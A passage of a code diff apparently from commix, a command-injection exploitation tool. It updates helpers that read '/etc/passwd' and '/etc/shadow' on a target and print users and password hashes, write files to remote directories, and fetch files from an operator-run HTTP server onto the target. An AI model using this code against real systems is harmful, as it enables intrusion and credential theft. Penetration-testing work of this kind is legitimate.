http://en.wikipedia.org/wiki/Letter_frequency#Relative_frequencies_of_letters_in_the_English_language if num_of_chars == 1: - # Checks {A..Z},{a..z},{0..9},{Symbols} - char_pool = list(range(65, 90)) + list(range(96, 122)) + char_pool = [69, 84, 65, 79, 73, 78, 83, 72, 82, 68, 76, 67, 85, 77, 87, 70, 71, 89, 80, 66, 86, 75, 74, 88, 81, 90] + \ + [101, 116, 97, 111, 105, 110, 115, 104, 114, 100, 108, 99, 117, 109, 119, 102, 103, 121, 112, 98, 118, 107, 106, 120, 113, 122] else: - # Checks {a..z},{A..Z},{0..9},{Symbols} - char_pool = list(range(96, 122)) + list(range(65, 90)) - char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 95)) + list(range(58, 64)) + list(range(123, 127)) + char_pool = [101, 116, 97, 111, 105, 110, 115, 104, 114, 100, 108, 99, 117, 109, 119, 102, 103, 121, 112, 98, 118, 107, 106, 120, 113, 122] + \ + [69, 84, 65, 79, 73, 78, 83, 72, 82, 68, 76, 67, 85, 77, 87, 70, 71, 89, 80, 66, 86, 75, 74, 88, 81, 90] + char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 96)) + list(range(58, 64)) + list(range(123, 127)) return char_pool +""" +Print powershell version +""" +def print_ps_version(ps_version, filename, _): + try: + settings.PS_ENABLED = True + ps_version = "".join(str(p) for p in ps_version) + if settings.VERBOSITY_LEVEL == 0 and _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + # Output PowerShell's version number + info_msg = "Powershell version: " + ps_version + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + info_msg = "Powershell version: " + ps_version + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + except ValueError: + warn_msg = "Failed to identify the version of Powershell, " + warn_msg += "which means that some payloads or injection techniques may be failed." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.PS_ENABLED = False + ps_check_failed() + +""" +Print hostname +""" +def print_hostname(shell, filename, _): + if shell: + if settings.VERBOSITY_LEVEL == 0 and _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + info_msg = "Hostname: " + str(shell) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + else: + warn_msg = "Failed to identify the hostname." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Print current user info +""" +def print_current_user(cu_account, filename, _): + if cu_account: + if settings.VERBOSITY_LEVEL == 0 and _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + info_msg = "Current user: " + str(cu_account) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + else: + warn_msg = "Failed to fetch the current user." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Print current user privs +""" +def print_current_user_privs(shell, filename, _): + priv = "True" + if (settings.TARGET_OS == settings.OS.WINDOWS and not "Admin" in shell) or \ + (settings.TARGET_OS != settings.OS.WINDOWS and shell != "0"): + priv = "False" + + if settings.VERBOSITY_LEVEL == 0 and _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + + info_msg = "Current user has excessive privileges: " + str(priv) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) +""" +Print OS info +""" +def print_os_info(target_os, target_arch, filename, _): + if target_os and target_arch: + if settings.VERBOSITY_LEVEL == 0 and _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + else: + warn_msg = "Failed to fetch underlying operating system information." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Print enumeration info msgs +""" +class print_enumenation(): + def ps_version_msg(self): + info_msg = "Fetching powershell version." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + def hostname_msg(self): + info_msg = "Fetching hostname." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + def current_user_msg(self): + info_msg = "Fetching current user." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + def check_privs_msg(self): + info_msg = "Testing if current user has excessive privileges." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + def os_info_msg(self): + info_msg = "Fetching the underlying operating system information." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + def print_users_msg(self): + if settings.TARGET_OS == settings.OS.WINDOWS: + info_msg = "Executing the 'net user' command " + else: + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' " + info_msg += "in order to enumerate operating system users. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + def print_passes_msg(self): + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + "' " + info_msg += "in order to enumerate operating system users password hashes. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + def print_single_os_cmd_msg(self, cmd): + info_msg = "Executing the user-supplied command: '" + cmd + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Print users enumeration. +""" +def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell): + # Windows users enumeration. + if settings.TARGET_OS == settings.OS.WINDOWS: + try: + if sys_users and any(account in sys_users for account in settings.DEFAULT_WIN_USERS): + sys_users = "".join(str(p) for p in sys_users).strip() + sys_users_list = re.findall(r"(.*)", sys_users) + sys_users_list = "".join(str(p) for p in sys_users_list).strip() + sys_users_list = ' '.join(sys_users_list.split()) + sys_users_list = sys_users_list.split() + if len(sys_users_list) != 0 : + if settings.VERBOSITY_LEVEL == 0 and _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + info_msg = "Identified operating system" + info_msg += " user" + ('s', '')[len(sys_users_list) == 1] + info_msg += " [" + str(len(sys_users_list)) + "]:" + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + count = 0 + for user in range(0, len(sys_users_list)): + count = count + 1 + is_privileged = is_privileged = "" + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL) + # Add infos to logs file. + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + if count == 1 : + output_file.write("\n") + output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'\n" ) + else: + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that you don't have permissions to enumerate operating system users." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + except TypeError: + pass + except IndexError: + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that you don't have permissions to enumerate operating system users." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + pass + + # Unix-like users enumeration. + else: + try: + if sys_users: + sys_users = "".join(str(p) for p in sys_users).strip() + if len(sys_users.split(settings.SINGLE_WHITESPACE)) <= 1 : + sys_users = sys_users.split("\n") + else: + sys_users = sys_users.split(settings.SINGLE_WHITESPACE) + # Check for appropriate '/etc/passwd' format. + if len(sys_users) % 3 != 0 : + warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " + warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + sys_users = " ".join(str(p) for p in sys_users).strip() + settings.print_data_to_stdout(sys_users) + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + output_file.write(" " + sys_users) + else: + sys_users_list = [] + for user in range(0, len(sys_users), 3): + sys_users_list.append(sys_users[user : user + 3]) + if len(sys_users_list) != 0 : + if settings.VERBOSITY_LEVEL == 0 and _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + info_msg = "Identified operating system" + info_msg += " user" + ('s', '')[len(sys_users_list) == 1] + info_msg += " [" + str(len(sys_users_list)) + "]:" + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + count = 0 + for user in range(0, len(sys_users_list)): + sys_users = sys_users_list[user] + sys_users = ":".join(str(p) for p in sys_users) + count = count + 1 + fields = sys_users.split(":") + fields1 = "".join(str(p) for p in fields) + # System users privileges enumeration + try: + if not fields[2].startswith("/"): + raise ValueError() + if menu.options.privileges: + if int(fields[1]) == 0: + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " root user " + is_privileged_nh = " is root user " + elif int(fields[1]) > 0 and int(fields[1]) < 99 : + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " system user " + is_privileged_nh = " is system user " + elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : + if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " anonymous user " + is_privileged_nh = " is anonymous user " + elif int(fields[1]) == 60002: + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " non-trusted user " + is_privileged_nh = " is non-trusted user " + else: + is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user " + is_privileged_nh = " is regular user " + else : + is_privileged = "" + is_privileged_nh = "" + else : + is_privileged = "" + is_privileged_nh = "" + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + # Add infos to logs file. + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + if count == 1 : + output_file.write("\n") + output_file.write("(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + except ValueError: + if count == 1 : + warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " + warn_msg += "appropriate format. Thus, it is expoted as a text file." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + sys_users = " ".join(str(p) for p in sys_users.split(":")) + settings.print_data_to_stdout(sys_users) + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + output_file.write(" " + sys_users) + else: + warn_msg = "It seems that you don't have permissions " + warn_msg += "to read the content of the file '" + settings.PASSWD_FILE + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + except TypeError: + pass + except IndexError: + warn_msg = "Some kind of WAF/IPS probably blocks the attempt to read '" + warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + pass + +""" +Print users enumeration. +""" +def print_passes(sys_passes, filename, _, alter_shell): + if sys_passes == "": + sys_passes = settings.SINGLE_WHITESPACE + sys_passes = sys_passes.replace(settings.SINGLE_WHITESPACE, "\n").split() + if len(sys_passes) != 0 : + if settings.VERBOSITY_LEVEL == 0 and _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + info_msg = "Identified operating system" + info_msg += " user" + ('s', '')[len(sys_passes) == 1] + info_msg += " password hashes [" + str(len(sys_passes)) + "]:" + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + count = 0 + for line in sys_passes: + count = count + 1 + try: + if ":" in line: + fields = line.split(":") + if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": + settings.print_data_to_stdout(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) + # Add infos to logs file. + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + if count == 1 : + output_file.write("\n") + output_file.write("(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + # Check for appropriate '/etc/shadow' format. + except IndexError: + if count == 1 : + warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " + warn_msg += "in the appropriate format. Thus, it is expoted as a text file." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(fields[0]) + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + output_file.write(" " + fields[0]) + else: + warn_msg = "It seems that you don't have permissions " + warn_msg += "to read the content of the file '" + settings.SHADOW_FILE + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Print single OS command +""" +def print_single_os_cmd(cmd, output, filename): + if len(output) > 1: + _ = "'" + cmd + "' execution output" + settings.print_data_to_stdout(settings.print_retrieved_data(_, output)) + try: + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "User-supplied command " + _ + ": " + str(output.encode(settings.DEFAULT_CODEC).decode()) + "\n") + except TypeError: + pass + else: + err_msg = common.invalid_cmd_output(cmd) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + +""" +Quote provided cmd +""" +def quoted_cmd(cmd): + cmd = "\"" + cmd + "\"" + return cmd + +""" +Add new "cmd /c" +""" +def add_new_cmd(cmd): + cmd = "cmd /c " + cmd + return cmd + +""" +Escape single quoted cmd +""" +def escape_single_quoted_cmd(cmd): + cmd = cmd.replace("'","\\'") + return cmd + +""" +Find filename +""" +def find_filename(dest_to_write, content): + fname = os.path.basename(dest_to_write) + tmp_fname = fname + "_tmp" + # _ = settings.FILE_WRITE + if settings.TARGET_OS == settings.OS.WINDOWS: + # _ = settings.FILE_WRITE_WIN + cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'" + else: + cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname + return fname, tmp_fname, cmd + +""" +Decode base 64 encoding +""" +def win_decode_b64_enc(fname, tmp_fname): + cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + fname.replace("\\","\\\\") + return cmd + +""" +Add command substitution on provided command +""" +def add_command_substitution(cmd): + cmd = "echo $(" + cmd + ")" + return cmd + +""" +Remove command substitution on provided command +""" +def remove_command_substitution(cmd): + cmd = cmd.replace("echo $(", "").replace(")", "") + return cmd + +def remove_parenthesis(cmd): + cmd = cmd.replace("(", "").replace(")", "") + return cmd + +""" +Write the file content +""" +def write_content(content, dest_to_write): + content = quoted_cmd(content) + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'" + else: + cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write + return cmd + +""" +Delete filename +""" +def delete_tmp(tmp_fname): + cmd = settings.WIN_DEL + tmp_fname.replace("\\","\\\\") + return cmd + +""" +Check if file exists. +""" +def check_file(dest_to_upload): + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.FILE_LIST_WIN + dest_to_upload.replace("\\","\\\\") + else: + cmd = settings.FILE_LIST + dest_to_upload + cmd = add_command_substitution(cmd) + return cmd + +""" +Change directory +""" +def change_dir(dest_to_write): + dest_to_write = dest_to_write.replace("\\","/") + path = os.path.dirname(dest_to_write) + path = path.replace("/","\\") + cmd = "cd " + path + return cmd + +""" +File content to read. +""" +def file_content_to_read(): + file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() + info_msg = "Fetching content of the file: '" + info_msg += file_to_read + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_FILE_READ + file_to_read.replace("\\","\\\\") + else: + if settings.EVAL_BASED_STATE: + cmd = "(" + settings.FILE_READ + file_to_read + ")" + else: + cmd = settings.FILE_READ + file_to_read + return cmd, file_to_read + +""" +File read status +""" +def file_read_status(shell, file_to_read, filename): + if shell: + _ = "Fetched file content" + settings.print_data_to_stdout(settings.print_retrieved_data(_, shell)) + with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as output_file: + if not menu.options.no_logging: + info_msg = "Extracted content of the file '" + info_msg += file_to_read + "' : " + shell + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + else: + warn_msg = "It seems that you don't have permissions " + warn_msg += "to read the content of the file '" + file_to_read + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Check upload/write destination +""" +def check_destination(destination): + if menu.options.file_write: + where = menu.options.file_write + else: + where = menu.options.file_upload + if os.path.split(destination)[1] == "" : + _ = os.path.split(destination)[0] + "/" + os.path.split(where)[1] + elif os.path.split(destination)[0] == "/": + _ = "/" + os.path.split(destination)[1] + "/" + os.path.split(where)[1] + elif os.path.split(destination)[0] == "\\": + _ = "\\" + os.path.split(destination)[1] + "\\" + os.path.split(where)[1] + else: + _ = destination + return _ + +""" +Write the content of the file +""" +def check_file_to_write(): + file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() + if not os.path.exists(file_to_write): + err_msg = "It seems that the provided local file '" + file_to_write + "' does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if os.path.isfile(file_to_write): + with open(file_to_write, 'r') as content_file: + content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", settings.SINGLE_WHITESPACE) for line in content_file] + content = "".join(str(p) for p in content).replace("'", "\"") + if settings.TARGET_OS == settings.OS.WINDOWS: + import base64 + content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() + else: + warn_msg = "It seems that '" + file_to_write + "' is not a file." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + + dest_to_write = check_destination(destination=menu.options.file_dest) + info_msg = "Trying to write the content of the file '" + info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return file_to_write, dest_to_write, content + +""" +File write status +""" +def file_write_status(shell, dest_to_write): + if shell: + info_msg = "The file has been successfully created on remote directory: '" + dest_to_write + "'." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + else: + warn_msg = "It seems that you don't have permissions to write files on the remote directory '" + dest_to_write + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +File upload procedure. +""" +def check_file_to_upload(): + file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() + try: + _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) + except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: + warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + raise SystemExit() + except ValueError as err_msg: + err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + dest_to_upload = check_destination(destination=menu.options.file_dest) + info_msg = "Trying to upload the file from '" + info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + # Execute command + cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload + return cmd, dest_to_upload + +""" +File upload status. +""" +def file_upload_status(shell, dest_to_upload): + if shell: + info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + else: + warn_msg = "It seems that you don't have permissions to upload files on the remote directory '" + dest_to_upload + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Check if defined "--file-upload" option. """ def file_upload(): if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): - if not menu.options.file_dest.endswith("/"): - menu.options.file_dest = menu.options.file_dest + "/" + # if not menu.options.file_dest.endswith("/"): + # menu.options.file_dest = menu.options.file_dest + "/" # Check if not defined URL for upload. while True: - if not menu.options.batch: - question_msg = "Do you want to enable an HTTP server? [Y/n] > " - enable_HTTP_server = _input(settings.print_question_msg(question_msg)) - else: - enable_HTTP_server = "" - if len(enable_HTTP_server) == 0: - enable_HTTP_server = "Y" + message = "Do you want to enable a local HTTP server? [Y/n] > " + enable_HTTP_server = common.read_input(message, default="Y", check_batch=True) if enable_HTTP_server in settings.CHOICE_YES: # Check if file exists if not os.path.isfile(menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exist." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Setting the local HTTP server. if settings.LOCAL_HTTP_IP == None: while True: - question_msg = "Please enter your interface IP address > " - ip_addr = _input(settings.print_question_msg(question_msg)) + message = "Please enter your interface IP address > " + ip_addr = common.read_input(message, default=None, check_batch=True) # check if IP address is valid ip_check = simple_http_server.is_valid_ipv4(ip_addr) if ip_check == False: - err_msg = "The provided IP address seems not valid." - print(settings.print_error_msg(err_msg)) + err_msg = "The provided IP address seems not valid." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) pass else: settings.LOCAL_HTTP_IP = ip_addr @@ -1506,78 +2769,518 @@ def file_upload(): # Check for invalid HTTP server's port. if settings.LOCAL_HTTP_PORT < 1 or settings.LOCAL_HTTP_PORT > 65535: - err_msg = "Invalid HTTP server's port (" + str(settings.LOCAL_HTTP_PORT) + ")." - print(settings.print_critical_msg(err_msg)) + err_msg = "Invalid HTTP server's port (" + str(settings.LOCAL_HTTP_PORT) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - + http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT) - info_msg = "Setting the HTTP server on '" + http_server + "/'. " - print(settings.print_info_msg(info_msg)) - menu.options.file_upload = http_server + "/" + menu.options.file_upload + info_msg = "Setting the HTTP server on '" + http_server + "/'. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + menu.options.file_upload = http_server + menu.options.file_upload simple_http_server.main() break elif enable_HTTP_server in settings.CHOICE_NO: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): - err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. " - print(settings.print_critical_msg(err_msg)) + err_msg = "The provided '--file-upload' option requires the activation of a local HTTP server." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - break + break elif enable_HTTP_server in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enable_HTTP_server + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enable_HTTP_server) pass +def define_vulnerable_http_header(http_header_name): + if http_header_name == settings.USER_AGENT.lower(): + settings.USER_AGENT_INJECTION = True + elif http_header_name == settings.REFERER.lower(): + settings.REFERER_INJECTION = True + elif http_header_name == settings.HOST.lower(): + settings.HOST_INJECTION = True + return http_header_name + """ Check for wrong flags """ def check_wrong_flags(): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if menu.options.is_root : warn_msg = "Swithing '--is-root' to '--is-admin' because the " - warn_msg += "target has been identified as windows." - print(settings.print_warning_msg(warn_msg)) + warn_msg += "target has been identified as Windows." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.passwords: - warn_msg = "The '--passwords' option, is not yet available for Windows targets." - print(settings.print_warning_msg(warn_msg)) + warn_msg = "The '--passwords' option, is not yet supported Windows targets." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.file_upload : - warn_msg = "The '--file-upload' option, is not yet available for windows targets. " + warn_msg = "The '--file-upload' option, is not yet supported Windows targets. " warn_msg += "Instead, use the '--file-write' option." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) raise SystemExit() - else: - if menu.options.is_admin : + else: + if menu.options.is_admin : warn_msg = "Swithing the '--is-admin' to '--is-root' because " - warn_msg += "the target has been identified as unix-like. " - print(settings.print_warning_msg(warn_msg)) + warn_msg += "the target has been identified as Unix-like. " + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Set writable path name +""" +def setting_writable_dir(path): + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Using '" + path + "' for writable directory." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + info_msg = "Trying to create a file in directory '" + path + info_msg += "' for command execution output. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ Define python working dir (for windows targets) """ def define_py_working_dir(): - if settings.TARGET_OS == "win" and menu.options.alter_shell: + if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.alter_shell: while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - question_msg += "' as Python working directory on the target host? [Y/n] > " - python_dir = _input(settings.print_question_msg(question_msg)) - else: - python_dir = "" - if len(python_dir) == 0: - python_dir = "Y" + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message += "' as Python working directory on the target host? [Y/n] > " + python_dir = common.read_input(message, default="Y", check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - question_msg = "Please provide a custom working directory for Python (e.g. '" - question_msg += settings.WIN_PYTHON_INTERPRETER + "') > " - settings.WIN_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) + message = "Please provide a custom working directory for Python (e.g. '" + message += settings.WIN_PYTHON_INTERPRETER + "') > " + settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) break else: - err_msg = "'" + python_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(python_dir) pass settings.USER_DEFINED_PYTHON_DIR = True +""" +Checks for identified vulnerable parameter +""" +def identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter): + # Check injection state + settings.DETECTION_PHASE = False + settings.EXPLOITATION_PHASE = True + if settings.COOKIE_INJECTION == True: + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE + found_vuln_parameter = vuln_parameter + the_type = " parameter" + + elif settings.USER_AGENT_INJECTION == True: + header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT + found_vuln_parameter = "" + the_type = " HTTP header" + + elif settings.REFERER_INJECTION == True: + header_name = settings.SINGLE_WHITESPACE + settings.REFERER + found_vuln_parameter = "" + the_type = " HTTP header" + + elif settings.HOST_INJECTION == True: + header_name = settings.SINGLE_WHITESPACE + settings.HOST + found_vuln_parameter = "" + the_type = " HTTP header" + + elif settings.CUSTOM_HEADER_INJECTION == True: + header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME + found_vuln_parameter = "" + the_type = " HTTP header" + + else: + header_name = "" + the_type = " parameter" + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: + found_vuln_parameter = parameters.vuln_GET_param(url) + else : + found_vuln_parameter = vuln_parameter + + if len(found_vuln_parameter) != 0 : + found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" + + # Print the findings to log file. + if export_injection_info == False: + export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) + if vp_flag == True: + vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) + logs.update_payload(filename, counter, payload) + counter = counter + 1 + + if not settings.LOAD_SESSION: + if 